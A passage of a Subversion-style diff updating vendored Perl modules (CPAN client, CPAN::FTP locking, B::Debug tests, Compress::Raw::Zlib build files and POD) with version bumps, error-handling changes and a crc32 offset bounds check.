 like(B::Debug::_printop(B::main_root),  qr/LISTOP\s+\[OP_LEAVE\]/);
 like(B::Debug::_printop(B::main_start), qr/OP\s+\[OP_ENTER\]/);
 
-$a = `$X $path "-MO=Debug" -e "B::main_root->debug" $redir`;
+$a = `$X "-MO=Debug" -e "B::main_root->debug" $redir`;
 like($a, qr/op_next\s+0x0/m);
-$a = `$X $path "-MO=Debug" -e "B::main_start->debug" $redir`;
+$a = `$X "-MO=Debug" -e "B::main_start->debug" $redir`;
 like($a, qr/\[OP_ENTER\]/m);
 
 # pass missing FETCHSIZE, fixed with 1.06
 my $e = q(BEGIN{tie @a, __PACKAGE__;sub TIEARRAY {bless{}} sub FETCH{1}};print $a[1]);
-$a = `$X $path "-MO=Debug" -e"$e" $redir`;
+$a = `$X "-MO=Debug" -e"$e" $redir`;
 unlike($a, qr/locate object method "FETCHSIZE"/m);
 
 # NV assertion with CV, fixed with 1.13
@@ -96,7 +97,7 @@
 open TMP, ">", $tmp;
 print TMP 'my $p=1;$g=2;sub p($){my $i=1;$i+1};print p(0)+$g;';
 close TMP;
-$a = `$X $path "-MO=Debug" $tmp $redir`;
+$a = `$X "-MO=Debug" $tmp $redir`;
 ok(! $?);
 unlike($a, qr/assertion "SvTYPE(sv) != SVt_PVCV" failed.*function: S_sv_2iuv_common/m);
 unlike($a, qr/Use of uninitialized value in print/m);

Modified: vendor/perl/dist/cpan/CPAN/lib/App/Cpan.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/App/Cpan.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/App/Cpan.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 
 use if $] < 5.008 => 'IO::Scalar';
 
-$VERSION = '1.66';
+$VERSION = '1.67';
 
 =head1 NAME
 
@@ -545,7 +545,13 @@
   Local::Null::Logger; # hide from PAUSE
 
 sub new { bless \ my $x, $_[0] }
-sub AUTOLOAD { 1 }
+sub AUTOLOAD {
+    my $autoload = our $AUTOLOAD;
+    $autoload =~ s/.*://;
+    return if $autoload =~ /^(debug|trace)$/;
+    $CPAN::Frontend->mywarn(">($autoload): $_\n")
+        for split /[\r\n]+/, $_[1];
+}
 sub DESTROY { 1 }
 }
 
@@ -566,7 +572,7 @@
 
     unless( $log4perl_loaded )
         {
-        print STDERR "Loading internal null logger. Install Log::Log4perl for logging messages\n";
+        print STDOUT "Loading internal logger. Log::Log4perl recommended for better logging\n";
         $logger = Local::Null::Logger->new;
         return $logger;
         }
@@ -625,6 +631,8 @@
 	# How do I handle exit codes for multiple arguments?
 	my @errors = ();
 
+	$options->{x} or _disable_guessers();
+
 	foreach my $arg ( @$args )
 		{
 		# check the argument and perhaps capture typos
@@ -1517,14 +1525,19 @@
 	}
 
 my $guessers = [
-	[ qw( Text::Levenshtein::XS distance 7 ) ],
-	[ qw( Text::Levenshtein::Damerau::XS     xs_edistance 7 ) ],
+	[ qw( Text::Levenshtein::XS distance 7 1 ) ],
+	[ qw( Text::Levenshtein::Damerau::XS     xs_edistance 7 1 ) ],
 
-	[ qw( Text::Levenshtein     distance 7 ) ],
-	[ qw( Text::Levenshtein::Damerau::PP     pp_edistance 7 ) ],
+	[ qw( Text::Levenshtein     distance 7 1 ) ],
+	[ qw( Text::Levenshtein::Damerau::PP     pp_edistance 7 1 ) ],
 
 	];
 
+sub _disable_guessers
+	{
+	$_->[-1] = 0 for @$guessers;
+	}
+
 # for -x
 sub _guess_namespace
 	{
@@ -1553,6 +1566,9 @@
 
 BEGIN {
 my $distance;
+my $_threshold;
+my $can_guess;
+my $shown_help = 0;
 sub _guess_at_module_name
 	{
 	my( $target, $threshold ) = @_;
@@ -1559,19 +1575,31 @@
 
 	unless( defined $distance ) {
 		foreach my $try ( @$guessers ) {
-			my $can_guess = eval "require $try->[0]; 1" or next;
+			$can_guess = eval "require $try->[0]; 1" or next;
 
+			$try->[-1] or next; # disabled
 			no strict 'refs';
 			$distance = \&{ join "::", @$try[0,1] };
 			$threshold ||= $try->[2];
 			}
 		}
+	$_threshold ||= $threshold;
 
 	unless( $distance ) {
-		my $modules = join ", ", map { $_->[0] } @$guessers;
-		substr $modules, rindex( $modules, ',' ), 1, ', and';
+		unless( $shown_help ) {
+			my $modules = join ", ", map { $_->[0] } @$guessers;
+			substr $modules, rindex( $modules, ',' ), 1, ', and';
 
-		$logger->info( "I can suggest names if you install one of $modules" );
+			# Should this be colorized?
+			if( $can_guess ) {
+				$logger->info( "I can suggest names if you provide the -x option on invocation." );
+				}
+			else {
+				$logger->info( "I can suggest names if you install one of $modules" );
+				$logger->info( "and you provide the -x option on invocation." );
+				}
+			$shown_help++;
+			}
 		return;
 		}
 
@@ -1581,7 +1609,7 @@
 	my %guesses;
 	foreach my $guess ( @$modules ) {
 		my $distance = $distance->( $target, $guess );
-		next if $distance > $threshold;
+		next if $distance > $_threshold;
 		$guesses{$guess} = $distance;
 		}
 

Modified: vendor/perl/dist/cpan/CPAN/lib/CPAN/Distribution.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/CPAN/Distribution.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/CPAN/Distribution.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 use File::Path ();
 @CPAN::Distribution::ISA = qw(CPAN::InfoObj);
 use vars qw($VERSION);
-$VERSION = "2.18";
+$VERSION = "2.19";
 
 # no prepare, because prepare is not a command on the shell command line
 # TODO: clear instance cache on reload
@@ -660,8 +660,11 @@
     my ($self) = @_;
     $self->debug("Entering satisfy_requires") if $CPAN::DEBUG;
     if (my @prereq = $self->unsat_prereq("later")) {
-        $self->debug("unsatisfied[@prereq]") if $CPAN::DEBUG;
-        $self->debug(@prereq) if $CPAN::DEBUG && @prereq;
+        if ($CPAN::DEBUG){
+            require Data::Dumper;
+            my $prereq = Data::Dumper->new(\@prereq)->Terse(1)->Indent(0)->Dump;
+            $self->debug("unsatisfied[$prereq]");
+        }
         if ($prereq[0][0] eq "perl") {
             my $need = "requires perl '$prereq[0][1]'";
             my $id = $self->pretty_id;
@@ -1717,13 +1720,10 @@
   my($self) = @_;
   my $file = File::Basename::basename($self->id);
   if ($file =~ m{ ^ perl
-                  -?
-                  (5)
-                  ([._-])
                   (
-                   \d{3}(_[0-4][0-9])?
+                   -5\.\d+\.\d+
                    |
-                   \d+\.\d+
+                   5[._-]00[0-5](_[0-4][0-9])?
                   )
                   \.tar[._-](?:gz|bz2)
                   (?!\n)\Z
@@ -1982,7 +1982,12 @@
                 }
             }
             elsif ( $self->_should_report('pl') ) {
-                ($output, $ret) = CPAN::Reporter::record_command($system);
+                ($output, $ret) = eval { CPAN::Reporter::record_command($system) };
+                if (! defined $output or $@) {
+                    my $err = $@ || "Unknown error";
+                    $CPAN::Frontend->mywarn("Error while running PL phase: $err");
+                    return $self->goodbye("$system -- NOT OK");
+                }
                 CPAN::Reporter::grade_PL( $self, $system, $output, $ret );
             }
             else {
@@ -2084,7 +2089,7 @@
                              $self->called_for,
                              $self->isa_perl,
                              $self->called_for,
-                             $self->id,
+                             $self->pretty_id,
                             ));
             $self->{make} = CPAN::Distrostatus->new("NO isa perl");
             $CPAN::Frontend->mysleep(1);
@@ -2610,9 +2615,19 @@
 sub is_locally_optional {
     my($self, $prereq_pm, $prereq) = @_;
     $prereq_pm ||= $self->{prereq_pm};
-    exists $prereq_pm->{opt_requires}{$prereq}
-        ||
-            exists $prereq_pm->{opt_build_requires}{$prereq};
+    my($nmo,$opt);
+    for my $rt (qw(requires build_requires)) {
+        if (exists $prereq_pm->{$rt}{$prereq}) {
+            # rt 121914
+            $nmo ||= $CPAN::META->instance("CPAN::Module",$prereq);
+            my $av = $nmo->available_version;
+            return 0 if !$av || CPAN::Version->vlt($av,$prereq_pm->{$rt}{$prereq});
+        }
+        if (exists $prereq_pm->{"opt_$rt"}{$prereq}) {
+            $opt = 1;
+        }
+    }
+    return $opt||0;
 }
 
 #-> sub CPAN::Distribution::follow_prereqs ;
@@ -2761,8 +2776,29 @@
 sub prereqs_for_slot {
     my($self,$slot) = @_;
     my($prereq_pm);
-    $CPAN::META->has_usable("CPAN::Meta::Requirements")
-        or die "CPAN::Meta::Requirements not available";
+    unless ($CPAN::META->has_usable("CPAN::Meta::Requirements")) {
+        my $whynot = "not available";
+        if (defined $CPAN::Meta::Requirements::VERSION) {
+            $whynot = "version $CPAN::Meta::Requirements::VERSION not sufficient";
+        }
+        $CPAN::Frontend->mywarn("CPAN::Meta::Requirements $whynot\n");
+        my $before = "";
+        if ($self->{CALLED_FOR}){
+            if ($self->{CALLED_FOR} =~
+                /^(
+                     CPAN::Meta::Requirements
+                 |version
+                 |parent
+                 |ExtUtils::MakeMaker
+                 |Test::Harness
+                 )$/x) {
+                $CPAN::Frontend->mywarn("Setting requirements to nil as a workaround\n");
+                return;
+            }
+            $before = " before $self->{CALLED_FOR}";
+        }
+        $CPAN::Frontend->mydie("Please install CPAN::Meta::Requirements manually$before");
+    }
     my $merged = CPAN::Meta::Requirements->new;
     my $prefs_depends = $self->prefs->{depends}||{};
     my $feature_depends = $self->_feature_depends();
@@ -2825,8 +2861,10 @@
     my($self,$slot) = @_;
     my($merged_hash,$prereq_pm) = $self->prereqs_for_slot($slot);
     my(@need);
-    $CPAN::META->has_usable("CPAN::Meta::Requirements")
-        or die "CPAN::Meta::Requirements not available";
+    unless ($CPAN::META->has_usable("CPAN::Meta::Requirements")) {
+        $CPAN::Frontend->mywarn("CPAN::Meta::Requirements not available, please install as soon as possible, trying to continue with severly limited capabilities\n");
+        return;
+    }
     my $merged = CPAN::Meta::Requirements->from_string_hash($merged_hash);
     my @merged = sort $merged->required_modules;
     CPAN->debug("all merged_prereqs[@merged]") if $CPAN::DEBUG;
@@ -3047,6 +3085,10 @@
         }
         # here need to flag as optional for recommends/suggests
         # -- xdg, 2012-04-01
+        $self->debug(sprintf "%s manadory?[%s]",
+                     $self->pretty_id,
+                     $self->{mandatory})
+            if $CPAN::DEBUG;
         my $optional = !$self->{mandatory}
             || $self->is_locally_optional($prereq_pm, $need_module);
         push @need, [$need_module,$needed_as,$optional];
@@ -3965,7 +4007,15 @@
     local $ENV{PERL_MM_USE_DEFAULT} = 1 if $CPAN::Config->{use_prompt_default};
     local $ENV{NONINTERACTIVE_TESTING} = 1 if $CPAN::Config->{use_prompt_default};
 
-    my($pipe) = FileHandle->new("$system $stderr |") || Carp::croak("Can't execute $system: $!");
+    my($pipe) = FileHandle->new("$system $stderr |");
+    unless ($pipe) {
+        $CPAN::Frontend->mywarn("Can't execute $system: $!");
+        $self->introduce_myself;
+        $self->{install} = CPAN::Distrostatus->new("NO");
+        $CPAN::Frontend->mywarn("  $system -- NOT OK\n");
+        delete $self->{force_update};
+        return;
+    }
     my($makeout) = "";
     while (<$pipe>) {
         print $_; # intentionally NOT use Frontend->myprint because it
@@ -3980,7 +4030,8 @@
         $CPAN::Frontend->myprint("  $system -- OK\n");
         $CPAN::META->is_installed($self->{build_dir});
         $self->{install} = CPAN::Distrostatus->new("YES");
-        if ($CPAN::Config->{'cleanup_after_install'}) {
+        if ($CPAN::Config->{'cleanup_after_install'}
+            && ! $self->is_dot_dist) {
             my $parent = File::Spec->catdir( $self->{build_dir}, File::Spec->updir );
             chdir $parent or $CPAN::Frontend->mydie("Couldn't chdir to $parent: $!\n");
             File::Path::rmtree($self->{build_dir});

Modified: vendor/perl/dist/cpan/CPAN/lib/CPAN/FTP.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/CPAN/FTP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/CPAN/FTP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,6 +3,7 @@
 package CPAN::FTP;
 use strict;
 
+use Errno ();
 use Fcntl qw(:flock);
 use File::Basename qw(dirname);
 use File::Path qw(mkpath);
@@ -14,8 +15,21 @@
 use vars qw(
             $VERSION
 );
-$VERSION = "5.5008";
+$VERSION = "5.5011";
 
+sub _plus_append_open {
+    my($fh, $file) = @_;
+    my $parent_dir = dirname $file;
+    mkpath $parent_dir;
+    my($cnt);
+    until (open $fh, "+>>$file") {
+        next if $! == Errno::EAGAIN; # don't increment on EAGAIN
+        $CPAN::Frontend->mydie("Could not open '$file' after 10000 tries: $!") if ++$cnt > 100000;
+        sleep 0.0001;
+        mkpath $parent_dir;
+    }
+}
+
 #-> sub CPAN::FTP::ftp_statistics
 # if they want to rewrite, they need to pass in a filehandle
 sub _ftp_statistics {
@@ -28,8 +42,7 @@
 
     $fh ||= FileHandle->new;
     my $file = File::Spec->catfile($CPAN::Config->{cpan_home},"FTPstats.yml");
-    mkpath dirname $file;
-    open $fh, "+>>$file" or $CPAN::Frontend->mydie("Could not open '$file': $!");
+    _plus_append_open($fh,$file);
     my $sleep = 1;
     my $waitstart;
     while (!CPAN::_flock($fh, $locktype|LOCK_NB)) {
@@ -41,13 +54,11 @@
         sleep($sleep); # this sleep must not be overridden;
                        # Frontend->mysleep with AUTOMATED_TESTING has
                        # provoked complete lock contention on my NFS
-        if ($sleep <= 3) {
-            $sleep+=0.33;
-        } elsif ($sleep <= 6) {
-            $sleep+=0.11;
+        if ($sleep <= 6) {
+            $sleep+=0.5;
         } else {
             # retry to get a fresh handle. If it is NFS and the handle is stale, we will never get an flock
-            open $fh, "+>>$file" or $CPAN::Frontend->mydie("Could not open '$file': $!");
+            _plus_append_open($fh, $file);
         }
     }
     my $stats = eval { CPAN->_yaml_loadfile($file); };
@@ -60,8 +71,11 @@
             } elsif (ref $@ eq "CPAN::Exception::yaml_process_error") {
                 my $time = time;
                 my $to = "$file.$time";
-                $CPAN::Frontend->myprint("Error reading '$file': $@\nStashing away as '$to' to prevent further interruptions. You may want to remove that file later.\n");
-                rename $file, $to or $CPAN::Frontend->mydie("Could not rename: $!");
+                $CPAN::Frontend->mywarn("Error reading '$file': $@
+  Trying to stash it away as '$to' to prevent further interruptions.
+  You may want to remove that file later.\n");
+                # may fail because somebody else has moved it away in the meantime:
+                rename $file, $to or $CPAN::Frontend->mywarn("Could not rename '$file' to '$to': $!\n");
                 return;
             }
         } else {
@@ -139,7 +153,7 @@
         unlink($sfile) if ($^O eq 'MSWin32' or $^O eq 'os2');
 	_copy_stat($sfile, "$sfile.$$") if -e $sfile;
         rename "$sfile.$$", $sfile
-            or $CPAN::Frontend->mydie("Could not rename '$sfile.$$' to '$sfile': $!\n");
+            or $CPAN::Frontend->mywarn("Could not rename '$sfile.$$' to '$sfile': $!\nGiving up\n");
     }
 }
 
@@ -555,7 +569,7 @@
     my($ro_url);
   HOSTEASY: for $ro_url (@$host_seq) {
         $self->_set_attempt($stats,"dleasy",$ro_url);
-        my $url .= "$ro_url$file";
+        my $url = "$ro_url$file";
         $self->debug("localizing perlish[$url]") if $CPAN::DEBUG;
         if ($url =~ /^file:/) {
             my $l;

Modified: vendor/perl/dist/cpan/CPAN/lib/CPAN/FirstTime.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/CPAN/FirstTime.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/CPAN/FirstTime.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 use File::Spec ();
 use CPAN::Mirrors ();
 use vars qw($VERSION $auto_config);
-$VERSION = "5.5310";
+$VERSION = "5.5311";
 
 =head1 NAME
 
@@ -439,7 +439,7 @@
 generally be installed except in resource constrained environments.  When this
 policy is true, recommended modules will be included with required modules.
 
-Included recommended modules?
+Include recommended modules?
 
 =item scan_cache
 
@@ -489,7 +489,7 @@
 dependencies provide enhanced operation.  When this policy is true, suggested
 modules will be included with required modules.
 
-Included suggested modules?
+Include suggested modules?
 
 =item tar_verbosity
 

Modified: vendor/perl/dist/cpan/CPAN/lib/CPAN/Shell.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/CPAN/Shell.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/CPAN/Shell.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -47,7 +47,7 @@
              "CPAN/Tarzip.pm",
              "CPAN/Version.pm",
             );
-$VERSION = "5.5006";
+$VERSION = "5.5007";
 # record the initial timestamp for reload.
 $reload = { map {$INC{$_} ? ($_,(stat $INC{$_})[9]) : ()} @relo };
 @CPAN::Shell::ISA = qw(CPAN::Debug);
@@ -1023,7 +1023,7 @@
         $need{$module->id}++;
     }
     unless (%need) {
-        if ($what eq "u") {
+        if (!@expand || $what eq "u") {
             $CPAN::Frontend->myprint("No modules found for @args\n");
         } elsif ($what eq "r") {
             $CPAN::Frontend->myprint("All modules are up to date for @args\n");

Modified: vendor/perl/dist/cpan/CPAN/lib/CPAN.pm
===================================================================
--- vendor/perl/dist/cpan/CPAN/lib/CPAN.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN/lib/CPAN.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 # vim: ts=4 sts=4 sw=4:
 use strict;
 package CPAN;
-$CPAN::VERSION = '2.18';
+$CPAN::VERSION = '2.20';
 $CPAN::VERSION =~ s/_//;
 
 # we need to run chdir all over and we would get at wrong libraries
@@ -564,7 +564,10 @@
             }
         } elsif ($code = UNIVERSAL::can($yaml_module, "Load")) {
             local *FH;
-            open FH, $local_file or die "Could not open '$local_file': $!";
+            unless (open FH, $local_file) {
+                $CPAN::Frontend->mywarn("Could not open '$local_file': $!");
+                return +[];
+            }
             local $/;
             my $ystream = <FH>;
             eval { @yaml = $code->($ystream); };
@@ -856,11 +859,12 @@
         }
         my $sleep = 1;
         while (!CPAN::_flock($fh, LOCK_EX|LOCK_NB)) {
-            if ($sleep>10) {
-                $CPAN::Frontend->mydie("Giving up\n");
+            my $err = $! || "unknown error";
+            if ($sleep>3) {
+                $CPAN::Frontend->mydie("Could not lock '$lockfile' with flock: $err; giving up\n");
             }
-            $CPAN::Frontend->mysleep($sleep++);
-            $CPAN::Frontend->mywarn("Could not lock lockfile with flock: $!; retrying\n");
+            $CPAN::Frontend->mysleep($sleep+=0.1);
+            $CPAN::Frontend->mywarn("Could not lock '$lockfile' with flock: $err; retrying\n");
         }
 
         seek $fh, 0, 0;
@@ -1038,6 +1042,11 @@
 
                'CPAN::Meta::Requirements' => [
                             sub {
+                                if (defined $CPAN::Meta::Requirements::VERSION
+                                    && CPAN::Version->vlt($CPAN::Meta::Requirements::VERSION, "2.120920")
+                                   ) {
+                                    delete $INC{"CPAN/Meta/Requirements.pm"};
+                                }
                                 require CPAN::Meta::Requirements;
                                 unless (CPAN::Version->vge(CPAN::Meta::Requirements->VERSION, 2.120920)) {
                                     for ("Will not use CPAN::Meta::Requirements, need version 2.120920\n") {

Modified: vendor/perl/dist/cpan/CPAN-Meta/corpus/BadMETA.yml
===================================================================
--- vendor/perl/dist/cpan/CPAN-Meta/corpus/BadMETA.yml	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/CPAN-Meta/corpus/BadMETA.yml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,24 +1,24 @@
----
-abstract: ~
-author:
-  - 'Olivier Mengu\xE9'
-build_requires:
-  ExtUtils::MakeMaker: 6.36
-configure_requires:
-  ExtUtils::MakeMaker: 6.36
-distribution_type: module
-dynamic_config: 1
-generated_by: 'Module::Install version 1.06'
-license: perl
-meta-spec:
-  url: http://module-build.sourceforge.net/META-spec-v1.4.html
-  version: 1.4
-name: Foo
-no_index:
-  directory:
-    - inc
-requires:
-  perl: 5.005
-resources:
-  license: http://dev.perl.org/licenses/
-version: 0.01
+---
+abstract: ~
+author:
+  - 'Olivier Mengu\xE9'
+build_requires:
+  ExtUtils::MakeMaker: 6.36
+configure_requires:
+  ExtUtils::MakeMaker: 6.36
+distribution_type: module
+dynamic_config: 1
+generated_by: 'Module::Install version 1.06'
+license: perl
+meta-spec:
+  url: http://module-build.sourceforge.net/META-spec-v1.4.html
+  version: 1.4
+name: Foo
+no_index:
+  directory:
+    - inc
+requires:
+  perl: 5.005
+resources:
+  license: http://dev.perl.org/licenses/
+version: 0.01

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,6 +21,9 @@
   $OPTIMIZE =~ s/-g(gdb)?3/-g/g; # [88936] out of memory with -g3 since 2.062
 }
 
+# Windows uses a different name for the zlib library
+my $ZLIB_LIBRARY_NAME = $^O eq 'MSWin32' ? 'zlib' : 'z' ;
+
 #$WALL = ' -pedantic ' if $Config{'cc'} =~ /gcc/ ;
 #$WALL = ' -Wall -Wno-comment ' if $Config{'cc'} =~ /gcc/ ;
 
@@ -85,7 +88,7 @@
     (
       $BUILD_ZLIB
         ? zlib_files($ZLIB_LIB)
-        : (LIBS => [ "-L$ZLIB_LIB -lz " ])
+        : (LIBS => [ "-L$ZLIB_LIB -l$ZLIB_LIBRARY_NAME " ])
     ),
     OPTIMIZE => $OPTIMIZE,
 

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/Zlib.xs
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/Zlib.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/Zlib.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -180,8 +180,7 @@
 typedef di_stream * Compress__Raw__Zlib__inflateStream ;
 typedef di_stream * Compress__Raw__Zlib__inflateScanStream ;
 
-#define ZMALLOC(to, typ) ((to = (typ *)safemalloc(sizeof(typ))), \
-                                Zero(to,1,typ))
+#define ZMALLOC(to, typ) (to = (typ *)safecalloc(sizeof(typ), 1))
 
 /* Figure out the Operating System */
 #ifdef MSDOS
@@ -506,7 +505,9 @@
 voidpf my_zcalloc (voidpf opaque, unsigned items, unsigned size)
 {
     PERL_UNUSED_VAR(opaque);
-    return safemalloc(items * size);
+    /* TODO - put back to calloc */
+    /* return safecalloc(items, size); */
+    return safemalloc(items* size);
 }
 
 
@@ -822,7 +823,7 @@
         uLong    crc = NO_INIT
         STRLEN   len = NO_INIT
         Bytef *  buf = NO_INIT
-        int      offset       
+        STRLEN   offset       
 	SV *	 sv = ST(0) ;
 	INIT:
     	/* If the buffer is a reference, dereference it */
@@ -833,6 +834,9 @@
 #endif         
 	buf = (Byte*)SvPVbyte(sv, len) ;
 
+	if (offset > len)
+	  croak("Offset out of range in Compress::Raw::Zlib::crc32");
+
 	if (items < 2)
 	  crc = crcInitial;
 	else if (SvOK(ST(1)))
@@ -1193,6 +1197,7 @@
     uLong     availableout = NO_INIT    
   CODE:
     bufinc = s->bufsize;
+    
   
   
     /* retrieve the output buffer */

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/config.in
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/config.in	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/config.in	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,6 @@
 BUILD_ZLIB      = True
 INCLUDE         = ./zlib-src
 LIB             = ./zlib-src
-
 OLD_ZLIB        = False
 GZIP_OS_CODE    = AUTO_DETECT
 

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 use bytes ;
 our ($VERSION, $XS_VERSION, @ISA, @EXPORT, %EXPORT_TAGS, @EXPORT_OK, $AUTOLOAD, %DEFLATE_CONSTANTS, @DEFLATE_CONSTANTS);
 
-$VERSION = '2.074';
+$VERSION = '2.076';
 $XS_VERSION = $VERSION; 
 $VERSION = eval $VERSION;
 
@@ -645,7 +645,7 @@
 
 The I<Compress::Raw::Zlib> module provides a Perl interface to the I<zlib>
 compression library (see L</AUTHOR> for details about where to get
-I<zlib>). 
+I<zlib>).
 
 =head1 Compress::Raw::Zlib::Deflate
 
@@ -656,7 +656,7 @@
 
 =head2 B<($d, $status) = new Compress::Raw::Zlib::Deflate( [OPT] ) >
 
-Initialises a deflation object. 
+Initialises a deflation object.
 
 If you are familiar with the I<zlib> library, it combines the
 features of the I<zlib> functions C<deflateInit>, C<deflateInit2>
@@ -727,7 +727,7 @@
 
 When a dictionary is specified I<Compress::Raw::Zlib> will automatically
 call C<deflateSetDictionary> directly after calling C<deflateInit>. The
-Adler32 value for the dictionary can be obtained by calling the method 
+Adler32 value for the dictionary can be obtained by calling the method
 C<$d-E<gt>dict_adler()>.
 
 The default is no dictionary.
@@ -775,7 +775,7 @@
 parameter list to override the default buffer size and compression
 level. All other options will take their default values.
 
-    my $d = new Compress::Raw::Zlib::Deflate ( -Bufsize => 300, 
+    my $d = new Compress::Raw::Zlib::Deflate ( -Bufsize => 300,
                                                -Level   => Z_BEST_SPEED ) ;
 
 =head2 B<$status = $d-E<gt>deflate($input, $output)>
@@ -853,7 +853,7 @@
 =item B<-Strategy>
 
 Defines the strategy used to tune the compression. The valid values are
-C<Z_DEFAULT_STRATEGY>, C<Z_FILTERED> and C<Z_HUFFMAN_ONLY>. 
+C<Z_DEFAULT_STRATEGY>, C<Z_FILTERED> and C<Z_HUFFMAN_ONLY>.
 
 =item B<-BufSize>
 
@@ -878,7 +878,7 @@
 
 =head2 B<$d-E<gt>crc32()>
 
-Returns the crc32 value for the uncompressed data to date. 
+Returns the crc32 value for the uncompressed data to date.
 
 If the C<CRC32> option is not enabled in the constructor for this object,
 this method will always return 0;
@@ -885,7 +885,7 @@
 
 =head2 B<$d-E<gt>adler32()>
 
-Returns the adler32 value for the uncompressed data to date. 
+Returns the adler32 value for the uncompressed data to date.
 
 =head2 B<$d-E<gt>msg()>
 
@@ -902,11 +902,11 @@
 =head2 B<$d-E<gt>get_Strategy()>
 
 Returns the deflation strategy currently used. Valid values are
-C<Z_DEFAULT_STRATEGY>, C<Z_FILTERED> and C<Z_HUFFMAN_ONLY>. 
+C<Z_DEFAULT_STRATEGY>, C<Z_FILTERED> and C<Z_HUFFMAN_ONLY>.
 
 =head2 B<$d-E<gt>get_Level()>
 
-Returns the compression level being used. 
+Returns the compression level being used.
 
 =head2 B<$d-E<gt>get_BufSize()>
 
@@ -954,7 +954,7 @@
 
 =head2 B< ($i, $status) = new Compress::Raw::Zlib::Inflate( [OPT] ) >
 
-Initialises an inflation object. 
+Initialises an inflation object.
 
 In a list context it returns the inflation object, C<$i>, and the
 I<zlib> status code (C<$status>). In a scalar context it returns the
@@ -1049,7 +1049,7 @@
 
 The C<LimitOutput> option changes the behavior of the C<< $i->inflate >>
 method so that the amount of memory used by the output buffer can be
-limited. 
+limited.
 
 When C<LimitOutput> is used the size of the output buffer used will either
 be the value of the C<Bufsize> option or the amount of memory already
@@ -1082,7 +1082,7 @@
 scalars or scalar references.
 
 Returns C<Z_OK> if successful and C<Z_STREAM_END> if the end of the
-compressed data has been successfully reached. 
+compressed data has been successfully reached.
 
 If not successful C<$status> will hold the I<zlib> error code.
 
@@ -1104,7 +1104,7 @@
 it is false, C<$output> will be truncated before any uncompressed data
 is written to it.
 
-The C<$eof> parameter needs a bit of explanation. 
+The C<$eof> parameter needs a bit of explanation.
 
 Prior to version 1.2.0, zlib assumed that there was at least one trailing
 byte immediately after the compressed data stream when it was carrying out
@@ -1118,7 +1118,7 @@
 
 =over 5
 
-=item 1 
+=item 1
 
 You are either using a copy of zlib that is older than version 1.2.0 or you
 want your application code to be able to run with as many different
@@ -1137,7 +1137,7 @@
 =back
 
 If B<all> of these are the case, then you need to set the C<$eof> parameter
-to true on the final call (and only the final call) to C<$i-E<gt>inflate>. 
+to true on the final call (and only the final call) to C<$i-E<gt>inflate>.
 
 If you have built this module with zlib >= 1.2.0, the C<$eof> parameter is
 ignored. You can still set it if you want, but it won't be used behind the
@@ -1166,7 +1166,7 @@
 
 This method will reset the inflation object C<$i>. It can be used when you
 are uncompressing multiple data streams and want to use the same object to
-uncompress each of them. 
+uncompress each of them.
 
 Returns C<Z_OK> if successful.
 
@@ -1304,7 +1304,7 @@
 
 =head2  my $flags = Compress::Raw::Zlib::zlibCompileFlags();
 
-Returns the flags indicating compile-time options that were used to build 
+Returns the flags indicating compile-time options that were used to build
 the zlib library. See the zlib documentation for a description of the flags
 returned by C<zlibCompileFlags>.
 
@@ -1311,7 +1311,7 @@
 Note that when the zlib sources are built along with this module the
 C<sprintf> flags (bits 24, 25 and 26) should be ignored.
 
-If you are using zlib 1.2.0 or older, C<zlibCompileFlags> will return 0. 
+If you are using zlib 1.2.0 or older, C<zlibCompileFlags> will return 0.
 
 =head1 The LimitOutput option.
 
@@ -1345,7 +1345,7 @@
     die "inflation failed\n"
         unless $status == Z_STREAM_END ;
 
-The points to note are 
+The points to note are
 
 =over 5
 
@@ -1377,7 +1377,7 @@
 times, a relatively small compressed data stream can uncompress into
 hundreds of megabytes.  Remember C<inflate> will keep allocating memory
 until I<all> the uncompressed data has been written to the output buffer -
-the size of C<$output> is unbounded. 
+the size of C<$output> is unbounded.
 
